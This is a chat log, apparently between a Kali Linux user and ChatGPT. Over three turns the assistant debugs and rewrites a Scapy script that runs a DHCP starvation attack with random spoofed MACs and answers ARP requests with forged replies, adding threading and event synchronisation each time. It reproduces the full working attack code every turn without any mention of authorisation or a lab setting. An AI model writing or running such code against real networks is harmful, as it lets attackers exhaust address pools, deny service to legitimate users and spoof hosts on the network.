┌──(root㉿kali)-[/home/kali/dhcp] └─# python dhcp.py Ip address 192.168.58.232 allocated to the corresponding MAC:01:c9:dc:af:34:85 Ip address 192.168.58.233 allocated to the corresponding MAC:ed:1b:31:1d:85:8f Ip address 192.168.58.234 allocated to the corresponding MAC:eb:d6:c1:02:f6:eb ^CTraceback (most recent call last): File "/home/kali/dhcp/dhcp.py", line 50, in <module> time.sleep(10) KeyboardInterrupt but i can see here that it is only executing the dhcp starv like i want both to start at the same time

**ChatGPT said:**

ChatGPT

To ensure both the DHCP starvation attack and the ARP reply handler are running concurrently, you need to properly start both functions in separate threads and have them execute simultaneously. You currently have a single thread for the DHCP attack but are blocking the program with time.sleep(10) before starting the sniff function.

Here’s a fix:

* **Start the sniffing function** (ARP reply handler) in another thread, so it runs concurrently with the DHCP starvation attack.

**Updated Code: Both Threads Running Simultaneously**

python

Copy code

from scapy.all import \*

import time

import random

import threading

conf.checkIPaddr = False # Disable IP address checking

IP\_to\_Mac = {} # Dictionary to store IP-MAC mappings

waiting\_time = 10 # Time to wait after receiving a DHCP offer before sending another discover

# DHCP Starvation Attack Function

def dhcp\_star():

while True:

random\_sleep\_time = random.uniform(1, 5) # Random delay between DHCP Discover packets

time.sleep(random\_sleep\_time)

generated\_mac = RandMAC() # Generate a random MAC address

mac\_readable = str(generated\_mac) # Convert to string format

# Construct a DHCP Discover packet

discover\_packet = Ether(dst='ff:ff:ff:ff:ff:ff', src=mac\_readable, type=0x0800) \

/ IP(src='0.0.0.0', dst='255.255.255.255') \

/ UDP(sport=68, dport=67) \

/ BOOTP(op=1, chaddr=mac2str(generated\_mac)) \

/ DHCP(options=[('message-type', 'discover'), ('end')])

# Send and receive the DHCP offer

offer\_packet = srp1(discover\_packet, iface='eth0', verbose=0)

if offer\_packet and DHCP in offer\_packet:

offered\_IP = offer\_packet[BOOTP].yiaddr # Get the offered IP address

offered\_mac\_raw = offer\_packet[BOOTP].chaddr # Raw MAC address in BOOTP field

# Convert the raw BOOTP MAC to a readable format

offered\_mac = ':'.join(format(x, '02x') for x in offered\_mac\_raw[:6])

# Store IP and MAC mapping in dictionary

IP\_to\_Mac[offered\_IP] = offered\_mac

print(f"IP address {offered\_IP} allocated to MAC: {offered\_mac}")

# Delay to allow ARP reply handling before sending the next discover

print(f"Waiting {waiting\_time} seconds before sending the next Discover...")

time.sleep(waiting\_time)

# ARP Reply Handler Function

def arp\_reply\_handler(packet):

if packet.haslayer(ARP) and packet[ARP].op == 1: # ARP request message

d\_ip = packet[ARP].psrc # Source IP from ARP request

src\_ip = packet[ARP].pdst # Destination IP requested in ARP

if src\_ip in IP\_to\_Mac: # Check if IP is in the dictionary

src\_mac = IP\_to\_Mac[src\_ip] # Get corresponding MAC for the requested IP

dst\_mac = packet[ARP].hwsrc # Get requestor's MAC

# Construct and send ARP reply

arp\_reply = Ether(dst=dst\_mac, src=src\_mac) / \

ARP(op=2, hwsrc=src\_mac, psrc=src\_ip, hwdst=dst\_mac, pdst=d\_ip)

print(f"Sending ARP reply to {d\_ip} with MAC: {src\_mac}")

sendp(arp\_reply, iface='eth0')

# Thread for DHCP starvation attack

dhcp\_attack\_thread = threading.Thread(target=dhcp\_star, daemon=True)

# Thread for ARP sniffing and reply

def start\_arp\_sniffer():

sniff(iface='eth0', filter="arp", prn=arp\_reply\_handler, store=0)

arp\_sniffing\_thread = threading.Thread(target=start\_arp\_sniffer, daemon=True)

# Start both threads simultaneously

dhcp\_attack\_thread.start()

arp\_sniffing\_thread.start()

# Keep the main thread running to avoid exiting

while True:

time.sleep(1)

**Explanation:**

1. **Separate Threads**:
   * One thread (dhcp\_attack\_thread) handles the DHCP starvation attack.
   * Another thread (arp\_sniffing\_thread) handles sniffing for ARP requests and replying.
2. **No Blocking time.sleep(10)**: The program no longer pauses the main thread with time.sleep(10) before starting sniff. Instead, both threads run concurrently, and the main thread stays active using a simple while True: time.sleep(1) to keep the program alive.
3. **Daemon Threads**: Both threads are set as daemon threads, meaning they will automatically close when the main program ends.

Now, the DHCP starvation attack and ARP reply handling will run simultaneously without blocking each other. Let me know if this works!

4o

**You said:**

Exception in thread Thread-1 (sniff): Traceback (most recent call last): File "/usr/lib/python3.11/threading.py", line 1045, in \_bootstrap\_inner def sniff(): sniff(iface='eth0', filter="arp", prn=arp\_reply\_handler, store=0) arp\_thread = threading.Thread(target=sniff,daemon=True) dhcp\_attack\_thread = threading.Thread(target=dhcp\_star, daemon=True) dhcp\_attack\_thread.start() arp\_thread.start()

**ChatGPT said:**

ChatGPT

It looks like you might have run into an issue where the sniff function conflicts with your thread function name because both are named sniff. This is leading to an exception.

To fix this issue, you should rename your custom thread function to avoid the naming conflict with Scapy’s sniff() function. Here’s an updated version of your code that should work:

**Updated Code:**

python

Copy code

from scapy.all import \*

import time

import random

import threading

conf.checkIPaddr = False # Disable IP address checking

IP\_to\_Mac = {} # Dictionary to store IP-MAC mappings

waiting\_time = 10 # Time to wait after receiving a DHCP offer before sending another discover

# DHCP Starvation Attack Function

def dhcp\_star():

while True:

random\_sleep\_time = random.uniform(1, 5) # Random delay between DHCP Discover packets

time.sleep(random\_sleep\_time)

generated\_mac = RandMAC() # Generate a random MAC address

mac\_readable = str(generated\_mac) # Convert to string format

# Construct a DHCP Discover packet

discover\_packet = Ether(dst='ff:ff:ff:ff:ff:ff', src=mac\_readable, type=0x0800) \

/ IP(src='0.0.0.0', dst='255.255.255.255') \

/ UDP(sport=68, dport=67) \

/ BOOTP(op=1, chaddr=mac2str(generated\_mac)) \

/ DHCP(options=[('message-type', 'discover'), ('end')])

# Send and receive the DHCP offer

offer\_packet = srp1(discover\_packet, iface='eth0', verbose=0)

if offer\_packet and DHCP in offer\_packet:

offered\_IP = offer\_packet[BOOTP].yiaddr # Get the offered IP address

offered\_mac\_raw = offer\_packet[BOOTP].chaddr # Raw MAC address in BOOTP field

# Convert the raw BOOTP MAC to a readable format

offered\_mac = ':'.join(format(x, '02x') for x in offered\_mac\_raw[:6])

# Store IP and MAC mapping in dictionary

IP\_to\_Mac[offered\_IP] = offered\_mac

print(f"IP address {offered\_IP} allocated to MAC: {offered\_mac}")

# Delay to allow ARP reply handling before sending the next discover

print(f"Waiting {waiting\_time} seconds before sending the next Discover...")

time.sleep(waiting\_time)

# ARP Reply Handler Function

def arp\_reply\_handler(packet):

if packet.haslayer(ARP) and packet[ARP].op == 1: # ARP request message

d\_ip = packet[ARP].psrc # Source IP from ARP request

src\_ip = packet[ARP].pdst # Destination IP requested in ARP

if src\_ip in IP\_to\_Mac: # Check if IP is in the dictionary

src\_mac = IP\_to\_Mac[src\_ip] # Get corresponding MAC for the requested IP

dst\_mac = packet[ARP].hwsrc # Get requestor's MAC

# Construct and send ARP reply

arp\_reply = Ether(dst=dst\_mac, src=src\_mac) / \

ARP(op=2, hwsrc=src\_mac, psrc=src\_ip, hwdst=dst\_mac, pdst=d\_ip)

print(f"Sending ARP reply to {d\_ip} with MAC: {src\_mac}")

sendp(arp\_reply, iface='eth0')

# ARP Sniffing Thread Function (renamed to avoid conflicts)

def arp\_sniffer():

sniff(iface='eth0', filter="arp", prn=arp\_reply\_handler, store=0)

# Thread for DHCP starvation attack

dhcp\_attack\_thread = threading.Thread(target=dhcp\_star, daemon=True)

# Thread for ARP sniffing and reply

arp\_thread = threading.Thread(target=arp\_sniffer, daemon=True)

# Start both threads

dhcp\_attack\_thread.start()

arp\_thread.start()

# Keep the main thread running to avoid exiting

while True:

time.sleep(1)

**Key Changes:**

1. **Renamed sniff Function**: The function to run the ARP sniffer is now named arp\_sniffer to avoid conflicting with Scapy’s sniff() function.
2. **Daemon Threads**: Both threads (dhcp\_attack\_thread and arp\_thread) are running in the background with daemon=True.
3. **Main Thread Loop**: A while True: time.sleep(1) loop ensures that the main program doesn’t exit and keeps the threads running.

This should resolve the exception you're encountering and allow both the DHCP starvation and ARP reply handling to run simultaneously. Let me know if this works!

4o

**You said:**

─# python dhcp.py Exception in thread Thread-1 (SNIF): Traceback (most recent call last): File "/usr/lib/python3.11/threading.py", line 1045, in \_bootstrap\_inner self.run() File "/usr/lib/python3.11/threading.py", line 982, in run self.\_target(\*self.\_args, \*\*self.\_kwargs) File "/home/kali/dhcp/dhcp.py", line 48, in SNIF sniff(iface='eth0', filter="arp", prn=arp\_reply\_handler, store=0) File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 1311, in sniff sniffer.\_run(\*args, \*\*kwargs) File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 1254, in \_run session.on\_packet\_received(p) File "/usr/lib/python3/dist-packages/scapy/sessions.py", line 109, in on\_packet\_received result = self.prn(pkt) ^^^^^^^^^^^^^ File "/home/kali/dhcp/dhcp.py", line 38, in arp\_reply\_handler src\_mac = IP\_to\_Mac[src\_ip] ~~~~~~~~~^^^^^^^^ KeyError: '192.168.58.235' Ip address 192.168.58.235 allocated to the corresponding MAC:a9:d4:02:32:41:55 Ip address 192.168.58.236 allocated to the corresponding MAC:4b:2c:59:68:25:77 Ip address 192.168.58.237 allocated to the corresponding MAC:88:42:0a:f2:39:a7 ^CTraceback (most recent call last): File "/home/kali/dhcp/dhcp.py", line 56, in <module> time.sleep(1) KeyboardInterrupt as we can see the first thread arp thread started before the dhcp and this is why there is nothing in the dictionary, is there a way to make the first thread wait for the second

**ChatGPT said:**

ChatGPT

You are encountering the KeyError because the ARP thread is running before the dhcp\_star thread has had the chance to populate the IP\_to\_Mac dictionary. To fix this, you can synchronize the start of both threads. One approach is to use a threading event to make the ARP thread wait until the first DHCP offer has been received and the dictionary is populated.

Here’s how you can achieve this:

**Updated Code with Thread Synchronization**

python

Copy code

from scapy.all import \*

import time

import random

import threading

conf.checkIPaddr = False # Disable IP address checking

IP\_to\_Mac = {} # Dictionary to store IP-MAC mappings

waiting\_time = 10 # Time to wait after receiving a DHCP offer before sending another discover

# Create an event to signal when to start the ARP sniffer thread

arp\_event = threading.Event()

# DHCP Starvation Attack Function

def dhcp\_star():

while True:

random\_sleep\_time = random.uniform(1, 5) # Random delay between DHCP Discover packets

time.sleep(random\_sleep\_time)

generated\_mac = RandMAC() # Generate a random MAC address

mac\_readable = str(generated\_mac) # Convert to string format

# Construct a DHCP Discover packet

discover\_packet = Ether(dst='ff:ff:ff:ff:ff:ff', src=mac\_readable, type=0x0800) \

/ IP(src='0.0.0.0', dst='255.255.255.255') \

/ UDP(sport=68, dport=67) \

/ BOOTP(op=1, chaddr=mac2str(generated\_mac)) \

/ DHCP(options=[('message-type', 'discover'), ('end')])

# Send and receive the DHCP offer

offer\_packet = srp1(discover\_packet, iface='eth0', verbose=0)

if offer\_packet and DHCP in offer\_packet:

offered\_IP = offer\_packet[BOOTP].yiaddr # Get the offered IP address

offered\_mac\_raw = offer\_packet[BOOTP].chaddr # Raw MAC address in BOOTP field

# Convert the raw BOOTP MAC to a readable format

offered\_mac = ':'.join(format(x, '02x') for x in offered\_mac\_raw[:6])

# Store IP and MAC mapping in dictionary

IP\_to\_Mac[offered\_IP] = offered\_mac

print(f"IP address {offered\_IP} allocated to MAC: {offered\_mac}")

# Set the event to allow ARP sniffer to start after the first DHCP offer

arp\_event.set()

# Delay to allow ARP reply handling before sending the next discover

print(f"Waiting {waiting\_time} seconds before sending the next Discover...")

time.sleep(waiting\_time)

# ARP Reply Handler Function

def arp\_reply\_handler(packet):

if packet.haslayer(ARP) and packet[ARP].op == 1: # ARP request message

d\_ip = packet[ARP].psrc # Source IP from ARP request

src\_ip = packet[ARP].pdst # Destination IP requested in ARP

if src\_ip in IP\_to\_Mac: # Check if IP is in the dictionary

src\_mac = IP\_to\_Mac[src\_ip] # Get corresponding MAC for the requested IP

dst\_mac = packet[ARP].hwsrc # Get requestor's MAC

# Construct and send ARP reply

arp\_reply = Ether(dst=dst\_mac, src=src\_mac) / \

ARP(op=2, hwsrc=src\_mac, psrc=src\_ip, hwdst=dst\_mac, pdst=d\_ip)

print(f"Sending ARP reply to {d\_ip} with MAC: {src\_mac}")

sendp(arp\_reply, iface='eth0')

# ARP Sniffing Thread Function (renamed to avoid conflicts)

def arp\_sniffer():

# Wait for the event to be set before starting ARP sniffing

arp\_event.wait()

# Start sniffing after event is set

sniff(iface='eth0', filter="arp", prn=arp\_reply\_handler, store=0)

# Thread for DHCP starvation attack

dhcp\_attack\_thread = threading.Thread(target=dhcp\_star, daemon=True)

# Thread for ARP sniffing and reply

arp\_thread = threading.Thread(target=arp\_sniffer, daemon=True)

# Start both threads

dhcp\_attack\_thread.start()

arp\_thread.start()

# Keep the main thread running to avoid exiting

while True:

time.sleep(1)

**Key Changes:**

1. **Event Synchronization**: An Event (arp\_event) is used to synchronize the threads. The ARP sniffer thread waits until the event is set (arp\_event.wait()) before starting the sniffing process.
2. **Event Trigger**: After the first DHCP offer is received and the IP-to-MAC dictionary is populated, the event is triggered (arp\_event.set()), allowing the ARP sniffer to start.
3. **No Immediate ARP Sniffing**: The ARP sniffer won’t start until the first IP is allocated by the DHCP server and stored in the dictionary, preventing the KeyError.

This ensures that the ARP sniffer thread waits for the DHCP thread to populate the dictionary before it begins processing ARP requests. Let me know how this works for you!

4o